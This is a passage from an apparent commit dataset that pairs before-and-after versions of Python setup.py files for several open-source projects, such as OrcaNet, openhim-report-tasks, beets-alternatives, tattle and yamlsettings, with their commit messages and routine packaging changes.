#!/usr/bin/env python from setuptools import setup, find_packages with open('requirements.txt') as fobj: requirements = [l.strip() for l in fobj.readlines()] setup( name='cnns', version='1.0', description='Runs CNNs', url='https://git.km3net.de/mmoser/OrcaNet', author='Michael Moser', author_email='mmoser@km3net.de', license='AGPL', install_requires=requirements, packages=find_packages(), include_package_data=True, ) Change description and add second mail address.
#!/usr/bin/env python from setuptools import setup, find_packages with open('requirements.txt') as fobj: requirements = [l.strip() for l in fobj.readlines()] setup( name='cnns', version='1.0', description='Runs Neural Networks for usage in the KM3NeT project', url='https://git.km3net.de/mmoser/OrcaNet', author='Michael Moser', author_email='mmoser@km3net.de, michael.m.moser@fau.de', license='AGPL', install_requires=requirements, packages=find_packages(), include_package_data=True, )
<commit_before>#!/usr/bin/env python from setuptools import setup, find_packages with open('requirements.txt') as fobj: requirements = [l.strip() for l in fobj.readlines()] setup( name='cnns', version='1.0', description='Runs CNNs', url='https://git.km3net.de/mmoser/OrcaNet', author='Michael Moser', author_email='mmoser@km3net.de', license='AGPL', install_requires=requirements, packages=find_packages(), include_package_data=True, ) <commit_msg>Change description and add second mail address.<commit_after>
#!/usr/bin/env python from setuptools import setup, find_packages with open('requirements.txt') as fobj: requirements = [l.strip() for l in fobj.readlines()] setup( name='cnns', version='1.0', description='Runs Neural Networks for usage in the KM3NeT project', url='https://git.km3net.de/mmoser/OrcaNet', author='Michael Moser', author_email='mmoser@km3net.de, michael.m.moser@fau.de', license='AGPL', install_requires=requirements, packages=find_packages(), include_package_data=True, )
#!/usr/bin/env python from setuptools import setup, find_packages with open('requirements.txt') as fobj: requirements = [l.strip() for l in fobj.readlines()] setup( name='cnns', version='1.0', description='Runs CNNs', url='https://git.km3net.de/mmoser/OrcaNet', author='Michael Moser', author_email='mmoser@km3net.de', license='AGPL', install_requires=requirements, packages=find_packages(), include_package_data=True, ) Change description and add second mail address.#!/usr/bin/env python from setuptools import setup, find_packages with open('requirements.txt') as fobj: requirements = [l.strip() for l in fobj.readlines()] setup( name='cnns', version='1.0', description='Runs Neural Networks for usage in the KM3NeT project', url='https://git.km3net.de/mmoser/OrcaNet', author='Michael Moser', author_email='mmoser@km3net.de, michael.m.moser@fau.de', license='AGPL', install_requires=requirements, packages=find_packages(), include_package_data=True, )
<commit_before>#!/usr/bin/env python from setuptools import setup, find_packages with open('requirements.txt') as fobj: requirements = [l.strip() for l in fobj.readlines()] setup( name='cnns', version='1.0', description='Runs CNNs', url='https://git.km3net.de/mmoser/OrcaNet', author='Michael Moser', author_email='mmoser@km3net.de', license='AGPL', install_requires=requirements, packages=find_packages(), include_package_data=True, ) <commit_msg>Change description and add second mail address.<commit_after>#!/usr/bin/env python from setuptools import setup, find_packages with open('requirements.txt') as fobj: requirements = [l.strip() for l in fobj.readlines()] setup( name='cnns', version='1.0', description='Runs Neural Networks for usage in the KM3NeT project', url='https://git.km3net.de/mmoser/OrcaNet', author='Michael Moser', author_email='mmoser@km3net.de, michael.m.moser@fau.de', license='AGPL', install_requires=requirements, packages=find_packages(), include_package_data=True, )
b3bfd60643a670ca1ab590f539d1c96e95e3623b
setup.py
setup.py
# This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. from setuptools import setup import os setup( name='openhim-report-tasks', version='0.1.0', author='Jembi Health Systems NPC', packages=['openhimtasks'], description='OpenHIM Report and Alerting Tasks', long_description=open('README.md').read(), install_requires=[ "mysql-python", ], data_files=[('/etc/cron.daily', ['openhim_reports.sh']), ('/etc/cron.hourly', ['openhim_alerts.sh']), ('/etc', ['openhim-report-tasks.conf']), ], ) # Setup /etc source conf files with open('/etc/openhim-report-tasks.source', 'w') as src: src.write(os.getcwd())
# This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. from setuptools import setup import os setup( name='openhim-report-tasks', version='0.1.0', author='Jembi Health Systems NPC', packages=['openhimtasks'], description='OpenHIM Report and Alerting Tasks', long_description=open('README.md').read(), install_requires=[ "mysql-python", ], data_files=[('/etc/cron.daily', ['openhim_reports.sh']), ('/etc/cron.hourly', ['openhim_alerts.sh']), ('/etc', ['openhim-report-tasks.conf']), ], ) # Setup /etc source conf files with open('/etc/openhim-report-tasks.source', 'w') as src: src.write(os.getcwd()) # Cron script permissions os.chmod('/etc/cron.daily/openhim_reports.sh', 0755) os.chmod('/etc/cron.hourly/openhim_alerts.sh', 0755)
Set script permissions during install
Set script permissions during install
Python
mpl-2.0
jembi/openhim-report-tasks
# This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. from setuptools import setup import os setup( name='openhim-report-tasks', version='0.1.0', author='Jembi Health Systems NPC', packages=['openhimtasks'], description='OpenHIM Report and Alerting Tasks', long_description=open('README.md').read(), install_requires=[ "mysql-python", ], data_files=[('/etc/cron.daily', ['openhim_reports.sh']), ('/etc/cron.hourly', ['openhim_alerts.sh']), ('/etc', ['openhim-report-tasks.conf']), ], ) # Setup /etc source conf files with open('/etc/openhim-report-tasks.source', 'w') as src: src.write(os.getcwd()) Set script permissions during install
# This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. from setuptools import setup import os setup( name='openhim-report-tasks', version='0.1.0', author='Jembi Health Systems NPC', packages=['openhimtasks'], description='OpenHIM Report and Alerting Tasks', long_description=open('README.md').read(), install_requires=[ "mysql-python", ], data_files=[('/etc/cron.daily', ['openhim_reports.sh']), ('/etc/cron.hourly', ['openhim_alerts.sh']), ('/etc', ['openhim-report-tasks.conf']), ], ) # Setup /etc source conf files with open('/etc/openhim-report-tasks.source', 'w') as src: src.write(os.getcwd()) # Cron script permissions os.chmod('/etc/cron.daily/openhim_reports.sh', 0755) os.chmod('/etc/cron.hourly/openhim_alerts.sh', 0755)
<commit_before># This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. from setuptools import setup import os setup( name='openhim-report-tasks', version='0.1.0', author='Jembi Health Systems NPC', packages=['openhimtasks'], description='OpenHIM Report and Alerting Tasks', long_description=open('README.md').read(), install_requires=[ "mysql-python", ], data_files=[('/etc/cron.daily', ['openhim_reports.sh']), ('/etc/cron.hourly', ['openhim_alerts.sh']), ('/etc', ['openhim-report-tasks.conf']), ], ) # Setup /etc source conf files with open('/etc/openhim-report-tasks.source', 'w') as src: src.write(os.getcwd()) <commit_msg>Set script permissions during install<commit_after>
# This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. from setuptools import setup import os setup( name='openhim-report-tasks', version='0.1.0', author='Jembi Health Systems NPC', packages=['openhimtasks'], description='OpenHIM Report and Alerting Tasks', long_description=open('README.md').read(), install_requires=[ "mysql-python", ], data_files=[('/etc/cron.daily', ['openhim_reports.sh']), ('/etc/cron.hourly', ['openhim_alerts.sh']), ('/etc', ['openhim-report-tasks.conf']), ], ) # Setup /etc source conf files with open('/etc/openhim-report-tasks.source', 'w') as src: src.write(os.getcwd()) # Cron script permissions os.chmod('/etc/cron.daily/openhim_reports.sh', 0755) os.chmod('/etc/cron.hourly/openhim_alerts.sh', 0755)
# This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. from setuptools import setup import os setup( name='openhim-report-tasks', version='0.1.0', author='Jembi Health Systems NPC', packages=['openhimtasks'], description='OpenHIM Report and Alerting Tasks', long_description=open('README.md').read(), install_requires=[ "mysql-python", ], data_files=[('/etc/cron.daily', ['openhim_reports.sh']), ('/etc/cron.hourly', ['openhim_alerts.sh']), ('/etc', ['openhim-report-tasks.conf']), ], ) # Setup /etc source conf files with open('/etc/openhim-report-tasks.source', 'w') as src: src.write(os.getcwd()) Set script permissions during install# This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. from setuptools import setup import os setup( name='openhim-report-tasks', version='0.1.0', author='Jembi Health Systems NPC', packages=['openhimtasks'], description='OpenHIM Report and Alerting Tasks', long_description=open('README.md').read(), install_requires=[ "mysql-python", ], data_files=[('/etc/cron.daily', ['openhim_reports.sh']), ('/etc/cron.hourly', ['openhim_alerts.sh']), ('/etc', ['openhim-report-tasks.conf']), ], ) # Setup /etc source conf files with open('/etc/openhim-report-tasks.source', 'w') as src: src.write(os.getcwd()) # Cron script permissions os.chmod('/etc/cron.daily/openhim_reports.sh', 0755) os.chmod('/etc/cron.hourly/openhim_alerts.sh', 0755)
<commit_before># This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. from setuptools import setup import os setup( name='openhim-report-tasks', version='0.1.0', author='Jembi Health Systems NPC', packages=['openhimtasks'], description='OpenHIM Report and Alerting Tasks', long_description=open('README.md').read(), install_requires=[ "mysql-python", ], data_files=[('/etc/cron.daily', ['openhim_reports.sh']), ('/etc/cron.hourly', ['openhim_alerts.sh']), ('/etc', ['openhim-report-tasks.conf']), ], ) # Setup /etc source conf files with open('/etc/openhim-report-tasks.source', 'w') as src: src.write(os.getcwd()) <commit_msg>Set script permissions during install<commit_after># This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. from setuptools import setup import os setup( name='openhim-report-tasks', version='0.1.0', author='Jembi Health Systems NPC', packages=['openhimtasks'], description='OpenHIM Report and Alerting Tasks', long_description=open('README.md').read(), install_requires=[ "mysql-python", ], data_files=[('/etc/cron.daily', ['openhim_reports.sh']), ('/etc/cron.hourly', ['openhim_alerts.sh']), ('/etc', ['openhim-report-tasks.conf']), ], ) # Setup /etc source conf files with open('/etc/openhim-report-tasks.source', 'w') as src: src.write(os.getcwd()) # Cron script permissions os.chmod('/etc/cron.daily/openhim_reports.sh', 0755) os.chmod('/etc/cron.hourly/openhim_alerts.sh', 0755)
ed3bc448cf3d9d9c4562df0d9dbe20de01e5f104
setup.py
setup.py
from setuptools import setup setup( name='beets-alternatives', version='0.8.3-dev', description='beets plugin to manage multiple files', long_description=open('README.md').read(), author='Thomas Scholtes', author_email='thomas-scholtes@gmx.de', url='http://www.github.com/geigerzaehler/beets-alternatives', license='MIT', platforms='ALL', test_suite='test', packages=['beetsplug'], install_requires=[ 'beets>=1.4.7', 'futures', ], classifiers=[ 'Topic :: Multimedia :: Sound/Audio', 'Topic :: Multimedia :: Sound/Audio :: Players :: MP3', 'License :: OSI Approved :: MIT License', 'Environment :: Console', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', ], )
from setuptools import setup setup( name='beets-alternatives', version='0.8.3-dev', description='beets plugin to manage multiple files', long_description=open('README.md').read(), author='Thomas Scholtes', author_email='thomas-scholtes@gmx.de', url='http://www.github.com/geigerzaehler/beets-alternatives', license='MIT', platforms='ALL', test_suite='test', packages=['beetsplug'], install_requires=[ 'beets>=1.4.7', 'futures; python_version<"3"', ], classifiers=[ 'Topic :: Multimedia :: Sound/Audio', 'Topic :: Multimedia :: Sound/Audio :: Players :: MP3', 'License :: OSI Approved :: MIT License', 'Environment :: Console', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', ], )
Update classifiers; conditionally require `futures` on Python 2
Update classifiers; conditionally require `futures` on Python 2 The `concurrent` library is part of Python 3 stdlib, by requiring futures we would fetch the old py2 version which causes syntax errors on py3.
Python
mit
geigerzaehler/beets-alternatives
from setuptools import setup setup( name='beets-alternatives', version='0.8.3-dev', description='beets plugin to manage multiple files', long_description=open('README.md').read(), author='Thomas Scholtes', author_email='thomas-scholtes@gmx.de', url='http://www.github.com/geigerzaehler/beets-alternatives', license='MIT', platforms='ALL', test_suite='test', packages=['beetsplug'], install_requires=[ 'beets>=1.4.7', 'futures', ], classifiers=[ 'Topic :: Multimedia :: Sound/Audio', 'Topic :: Multimedia :: Sound/Audio :: Players :: MP3', 'License :: OSI Approved :: MIT License', 'Environment :: Console', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', ], ) Update classifiers; conditionally require `futures` on Python 2 The `concurrent` library is part of Python 3 stdlib, by requiring futures we would fetch the old py2 version which causes syntax errors on py3.
from setuptools import setup setup( name='beets-alternatives', version='0.8.3-dev', description='beets plugin to manage multiple files', long_description=open('README.md').read(), author='Thomas Scholtes', author_email='thomas-scholtes@gmx.de', url='http://www.github.com/geigerzaehler/beets-alternatives', license='MIT', platforms='ALL', test_suite='test', packages=['beetsplug'], install_requires=[ 'beets>=1.4.7', 'futures; python_version<"3"', ], classifiers=[ 'Topic :: Multimedia :: Sound/Audio', 'Topic :: Multimedia :: Sound/Audio :: Players :: MP3', 'License :: OSI Approved :: MIT License', 'Environment :: Console', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', ], )
<commit_before>from setuptools import setup setup( name='beets-alternatives', version='0.8.3-dev', description='beets plugin to manage multiple files', long_description=open('README.md').read(), author='Thomas Scholtes', author_email='thomas-scholtes@gmx.de', url='http://www.github.com/geigerzaehler/beets-alternatives', license='MIT', platforms='ALL', test_suite='test', packages=['beetsplug'], install_requires=[ 'beets>=1.4.7', 'futures', ], classifiers=[ 'Topic :: Multimedia :: Sound/Audio', 'Topic :: Multimedia :: Sound/Audio :: Players :: MP3', 'License :: OSI Approved :: MIT License', 'Environment :: Console', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', ], ) <commit_msg>Update classifiers; conditionally require `futures` on Python 2 The `concurrent` library is part of Python 3 stdlib, by requiring futures we would fetch the old py2 version which causes syntax errors on py3.<commit_after>
from setuptools import setup setup( name='beets-alternatives', version='0.8.3-dev', description='beets plugin to manage multiple files', long_description=open('README.md').read(), author='Thomas Scholtes', author_email='thomas-scholtes@gmx.de', url='http://www.github.com/geigerzaehler/beets-alternatives', license='MIT', platforms='ALL', test_suite='test', packages=['beetsplug'], install_requires=[ 'beets>=1.4.7', 'futures; python_version<"3"', ], classifiers=[ 'Topic :: Multimedia :: Sound/Audio', 'Topic :: Multimedia :: Sound/Audio :: Players :: MP3', 'License :: OSI Approved :: MIT License', 'Environment :: Console', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', ], )
from setuptools import setup setup( name='beets-alternatives', version='0.8.3-dev', description='beets plugin to manage multiple files', long_description=open('README.md').read(), author='Thomas Scholtes', author_email='thomas-scholtes@gmx.de', url='http://www.github.com/geigerzaehler/beets-alternatives', license='MIT', platforms='ALL', test_suite='test', packages=['beetsplug'], install_requires=[ 'beets>=1.4.7', 'futures', ], classifiers=[ 'Topic :: Multimedia :: Sound/Audio', 'Topic :: Multimedia :: Sound/Audio :: Players :: MP3', 'License :: OSI Approved :: MIT License', 'Environment :: Console', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', ], ) Update classifiers; conditionally require `futures` on Python 2 The `concurrent` library is part of Python 3 stdlib, by requiring futures we would fetch the old py2 version which causes syntax errors on py3.from setuptools import setup setup( name='beets-alternatives', version='0.8.3-dev', description='beets plugin to manage multiple files', long_description=open('README.md').read(), author='Thomas Scholtes', author_email='thomas-scholtes@gmx.de', url='http://www.github.com/geigerzaehler/beets-alternatives', license='MIT', platforms='ALL', test_suite='test', packages=['beetsplug'], install_requires=[ 'beets>=1.4.7', 'futures; python_version<"3"', ], classifiers=[ 'Topic :: Multimedia :: Sound/Audio', 'Topic :: Multimedia :: Sound/Audio :: Players :: MP3', 'License :: OSI Approved :: MIT License', 'Environment :: Console', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', ], )
<commit_before>from setuptools import setup setup( name='beets-alternatives', version='0.8.3-dev', description='beets plugin to manage multiple files', long_description=open('README.md').read(), author='Thomas Scholtes', author_email='thomas-scholtes@gmx.de', url='http://www.github.com/geigerzaehler/beets-alternatives', license='MIT', platforms='ALL', test_suite='test', packages=['beetsplug'], install_requires=[ 'beets>=1.4.7', 'futures', ], classifiers=[ 'Topic :: Multimedia :: Sound/Audio', 'Topic :: Multimedia :: Sound/Audio :: Players :: MP3', 'License :: OSI Approved :: MIT License', 'Environment :: Console', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', ], ) <commit_msg>Update classifiers; conditionally require `futures` on Python 2 The `concurrent` library is part of Python 3 stdlib, by requiring futures we would fetch the old py2 version which causes syntax errors on py3.<commit_after>from setuptools import setup setup( name='beets-alternatives', version='0.8.3-dev', description='beets plugin to manage multiple files', long_description=open('README.md').read(), author='Thomas Scholtes', author_email='thomas-scholtes@gmx.de', url='http://www.github.com/geigerzaehler/beets-alternatives', license='MIT', platforms='ALL', test_suite='test', packages=['beetsplug'], install_requires=[ 'beets>=1.4.7', 'futures; python_version<"3"', ], classifiers=[ 'Topic :: Multimedia :: Sound/Audio', 'Topic :: Multimedia :: Sound/Audio :: Players :: MP3', 'License :: OSI Approved :: MIT License', 'Environment :: Console', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', ], )
5bee4a276cdfa221345b88c80e29fcb4c68fe1cc
setup.py
setup.py
from setuptools import setup setup( name='tattle', version='0.1.2', packages=[ 'tattle', ], url='https://github.com/cloudify-cosmo/tattle', author='Gigaspaces', author_email='cosmo-admin@gigaspaces.com', entry_points={ 'console_scripts': [ 'tattle = tattle.engine:main', ] }, install_requires=[ 'requests>=2.5.4.1', 'pyyaml>=3.11' ], )
from setuptools import setup setup( name='tattle', version='0.1.2', packages=[ 'tattle', ], url='https://github.com/cloudify-cosmo/tattle', author='Gigaspaces', author_email='cosmo-admin@gigaspaces.com', entry_points={ 'console_scripts': [ 'tattle = tattle.engine:main', ] }, install_requires=[ 'requests>=2.5.4.1', 'pyyaml>=3.10' ], )
Change pyyaml requirement to >=3.10
Change pyyaml requirement to >=3.10
Python
apache-2.0
cloudify-cosmo/tattle
from setuptools import setup setup( name='tattle', version='0.1.2', packages=[ 'tattle', ], url='https://github.com/cloudify-cosmo/tattle', author='Gigaspaces', author_email='cosmo-admin@gigaspaces.com', entry_points={ 'console_scripts': [ 'tattle = tattle.engine:main', ] }, install_requires=[ 'requests>=2.5.4.1', 'pyyaml>=3.11' ], ) Change pyyaml requirement to >=3.10
from setuptools import setup setup( name='tattle', version='0.1.2', packages=[ 'tattle', ], url='https://github.com/cloudify-cosmo/tattle', author='Gigaspaces', author_email='cosmo-admin@gigaspaces.com', entry_points={ 'console_scripts': [ 'tattle = tattle.engine:main', ] }, install_requires=[ 'requests>=2.5.4.1', 'pyyaml>=3.10' ], )
<commit_before>from setuptools import setup setup( name='tattle', version='0.1.2', packages=[ 'tattle', ], url='https://github.com/cloudify-cosmo/tattle', author='Gigaspaces', author_email='cosmo-admin@gigaspaces.com', entry_points={ 'console_scripts': [ 'tattle = tattle.engine:main', ] }, install_requires=[ 'requests>=2.5.4.1', 'pyyaml>=3.11' ], ) <commit_msg>Change pyyaml requirement to >=3.10<commit_after>
from setuptools import setup setup( name='tattle', version='0.1.2', packages=[ 'tattle', ], url='https://github.com/cloudify-cosmo/tattle', author='Gigaspaces', author_email='cosmo-admin@gigaspaces.com', entry_points={ 'console_scripts': [ 'tattle = tattle.engine:main', ] }, install_requires=[ 'requests>=2.5.4.1', 'pyyaml>=3.10' ], )
from setuptools import setup setup( name='tattle', version='0.1.2', packages=[ 'tattle', ], url='https://github.com/cloudify-cosmo/tattle', author='Gigaspaces', author_email='cosmo-admin@gigaspaces.com', entry_points={ 'console_scripts': [ 'tattle = tattle.engine:main', ] }, install_requires=[ 'requests>=2.5.4.1', 'pyyaml>=3.11' ], ) Change pyyaml requirement to >=3.10from setuptools import setup setup( name='tattle', version='0.1.2', packages=[ 'tattle', ], url='https://github.com/cloudify-cosmo/tattle', author='Gigaspaces', author_email='cosmo-admin@gigaspaces.com', entry_points={ 'console_scripts': [ 'tattle = tattle.engine:main', ] }, install_requires=[ 'requests>=2.5.4.1', 'pyyaml>=3.10' ], )
<commit_before>from setuptools import setup setup( name='tattle', version='0.1.2', packages=[ 'tattle', ], url='https://github.com/cloudify-cosmo/tattle', author='Gigaspaces', author_email='cosmo-admin@gigaspaces.com', entry_points={ 'console_scripts': [ 'tattle = tattle.engine:main', ] }, install_requires=[ 'requests>=2.5.4.1', 'pyyaml>=3.11' ], ) <commit_msg>Change pyyaml requirement to >=3.10<commit_after>from setuptools import setup setup( name='tattle', version='0.1.2', packages=[ 'tattle', ], url='https://github.com/cloudify-cosmo/tattle', author='Gigaspaces', author_email='cosmo-admin@gigaspaces.com', entry_points={ 'console_scripts': [ 'tattle = tattle.engine:main', ] }, install_requires=[ 'requests>=2.5.4.1', 'pyyaml>=3.10' ], )
4a119842061152700f16fe24ba10c07cdf706d3a
setup.py
setup.py
try: from setuptools import setup except ImportError: from distutils.core import setup readme = open('README.rst').read() requirements = { "package": [ "PyYAML", ], "test": [ "nose", "mock", "pytest", "pytest-mock", "pytest-pudb", ], "setup": [ "pytest-runner", ], } requirements.update(all=sorted(set().union(*requirements.values()))) setup( name='yamlsettings', version='1.0.0', description='Yaml Settings Configuration Module', long_description=readme, author='Kyle James Walker', author_email='KyleJamesWalker@gmail.com', url='https://github.com/KyleJamesWalker/yamlsettings', packages=['yamlsettings'], package_dir={'yamlsettings': 'yamlsettings'}, include_package_data=True, install_requires=requirements['package'], extras_require=requirements, setup_requires=requirements['setup'], license='MIT', classifiers=[ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Natural Language :: English', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', ], test_suite='tests', tests_require=requirements['test'], )
try: from setuptools import setup except ImportError: from distutils.core import setup readme = open('README.rst').read() requirements = { "package": [ "PyYAML", ], "test": [ "nose", "mock", "pytest", "pytest-mock", "pytest-pudb", ], "setup": [ "pytest-runner", ], } requirements.update(all=sorted(set().union(*requirements.values()))) setup( name='yamlsettings', version='1.0.1', description='Yaml Settings Configuration Module', long_description=readme, author='Kyle James Walker', author_email='KyleJamesWalker@gmail.com', url='https://github.com/KyleJamesWalker/yamlsettings', packages=['yamlsettings', 'yamlsettings.extensions'], package_dir={'yamlsettings': 'yamlsettings'}, include_package_data=True, install_requires=requirements['package'], extras_require=requirements, setup_requires=requirements['setup'], license='MIT', classifiers=[ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Natural Language :: English', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', ], test_suite='tests', tests_require=requirements['test'], )
Fix Missing Extension from package
Fix Missing Extension from package
Python
mit
KyleJamesWalker/yamlsettings
try: from setuptools import setup except ImportError: from distutils.core import setup readme = open('README.rst').read() requirements = { "package": [ "PyYAML", ], "test": [ "nose", "mock", "pytest", "pytest-mock", "pytest-pudb", ], "setup": [ "pytest-runner", ], } requirements.update(all=sorted(set().union(*requirements.values()))) setup( name='yamlsettings', version='1.0.0', description='Yaml Settings Configuration Module', long_description=readme, author='Kyle James Walker', author_email='KyleJamesWalker@gmail.com', url='https://github.com/KyleJamesWalker/yamlsettings', packages=['yamlsettings'], package_dir={'yamlsettings': 'yamlsettings'}, include_package_data=True, install_requires=requirements['package'], extras_require=requirements, setup_requires=requirements['setup'], license='MIT', classifiers=[ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Natural Language :: English', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', ], test_suite='tests', tests_require=requirements['test'], ) Fix Missing Extension from package
try: from setuptools import setup except ImportError: from distutils.core import setup readme = open('README.rst').read() requirements = { "package": [ "PyYAML", ], "test": [ "nose", "mock", "pytest", "pytest-mock", "pytest-pudb", ], "setup": [ "pytest-runner", ], } requirements.update(all=sorted(set().union(*requirements.values()))) setup( name='yamlsettings', version='1.0.1', description='Yaml Settings Configuration Module', long_description=readme, author='Kyle James Walker', author_email='KyleJamesWalker@gmail.com', url='https://github.com/KyleJamesWalker/yamlsettings', packages=['yamlsettings', 'yamlsettings.extensions'], package_dir={'yamlsettings': 'yamlsettings'}, include_package_data=True, install_requires=requirements['package'], extras_require=requirements, setup_requires=requirements['setup'], license='MIT', classifiers=[ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Natural Language :: English', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', ], test_suite='tests', tests_require=requirements['test'], )
<commit_before>try: from setuptools import setup except ImportError: from distutils.core import setup readme = open('README.rst').read() requirements = { "package": [ "PyYAML", ], "test": [ "nose", "mock", "pytest", "pytest-mock", "pytest-pudb", ], "setup": [ "pytest-runner", ], } requirements.update(all=sorted(set().union(*requirements.values()))) setup( name='yamlsettings', version='1.0.0', description='Yaml Settings Configuration Module', long_description=readme, author='Kyle James Walker', author_email='KyleJamesWalker@gmail.com', url='https://github.com/KyleJamesWalker/yamlsettings', packages=['yamlsettings'], package_dir={'yamlsettings': 'yamlsettings'}, include_package_data=True, install_requires=requirements['package'], extras_require=requirements, setup_requires=requirements['setup'], license='MIT', classifiers=[ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Natural Language :: English', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', ], test_suite='tests', tests_require=requirements['test'], ) <commit_msg>Fix Missing Extension from package<commit_after>
try: from setuptools import setup except ImportError: from distutils.core import setup readme = open('README.rst').read() requirements = { "package": [ "PyYAML", ], "test": [ "nose", "mock", "pytest", "pytest-mock", "pytest-pudb", ], "setup": [ "pytest-runner", ], } requirements.update(all=sorted(set().union(*requirements.values()))) setup( name='yamlsettings', version='1.0.1', description='Yaml Settings Configuration Module', long_description=readme, author='Kyle James Walker', author_email='KyleJamesWalker@gmail.com', url='https://github.com/KyleJamesWalker/yamlsettings', packages=['yamlsettings', 'yamlsettings.extensions'], package_dir={'yamlsettings': 'yamlsettings'}, include_package_data=True, install_requires=requirements['package'], extras_require=requirements, setup_requires=requirements['setup'], license='MIT', classifiers=[ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Natural Language :: English', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', ], test_suite='tests', tests_require=requirements['test'], )
try: from setuptools import setup except ImportError: from distutils.core import setup readme = open('README.rst').read() requirements = { "package": [ "PyYAML", ], "test": [ "nose", "mock", "pytest", "pytest-mock", "pytest-pudb", ], "setup": [ "pytest-runner", ], } requirements.update(all=sorted(set().union(*requirements.values()))) setup( name='yamlsettings', version='1.0.0', description='Yaml Settings Configuration Module', long_description=readme, author='Kyle James Walker', author_email='KyleJamesWalker@gmail.com', url='https://github.com/KyleJamesWalker/yamlsettings', packages=['yamlsettings'], package_dir={'yamlsettings': 'yamlsettings'}, include_package_data=True, install_requires=requirements['package'], extras_require=requirements, setup_requires=requirements['setup'], license='MIT', classifiers=[ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Natural Language :: English', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', ], test_suite='tests', tests_require=requirements['test'], ) Fix Missing Extension from packagetry: from setuptools import setup except ImportError: from distutils.core import setup readme = open('README.rst').read() requirements = { "package": [ "PyYAML", ], "test": [ "nose", "mock", "pytest", "pytest-mock", "pytest-pudb", ], "setup": [ "pytest-runner", ], } requirements.update(all=sorted(set().union(*requirements.values()))) setup( name='yamlsettings', version='1.0.1', description='Yaml Settings Configuration Module', long_description=readme, author='Kyle James Walker', author_email='KyleJamesWalker@gmail.com', url='https://github.com/KyleJamesWalker/yamlsettings', packages=['yamlsettings', 'yamlsettings.extensions'], package_dir={'yamlsettings': 'yamlsettings'}, include_package_data=True, 